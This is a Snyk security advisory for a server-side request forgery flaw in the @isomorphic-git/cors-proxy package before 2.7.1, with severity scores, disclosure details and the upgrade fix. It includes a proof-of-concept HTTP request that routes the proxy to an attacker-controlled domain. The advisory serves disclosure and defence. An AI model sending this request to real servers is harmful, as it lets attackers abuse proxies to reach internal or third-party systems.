Server-side Request Forgery (SSRF) Affecting @isomorphic-git/cors-proxy package, versions <2.7.1


0.0
high

Snyk CVSS

    Exploit Maturity Proof of concept
    Attack Complexity Low
    Scope Changed
    Confidentiality High
Expand this section
NVD
7.5 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-ISOMORPHICGITCORSPROXY-1734788
  • published 20 Jan 2022
  • disclosed 15 Oct 2021
  • credit Jasmin Landry

How to fix?

Upgrade @isomorphic-git/cors-proxy to version 2.7.1 or higher.

Overview

@isomorphic-git/cors-proxy is a Proxy clone and push requests for the browser

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to missing sanitization and validation of the redirection action in middleware.js.

PoC

GET /www.attacker-controlled-domain.com/info/refs?service=git-receive-pack HTTP/1.1
Host: target.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

References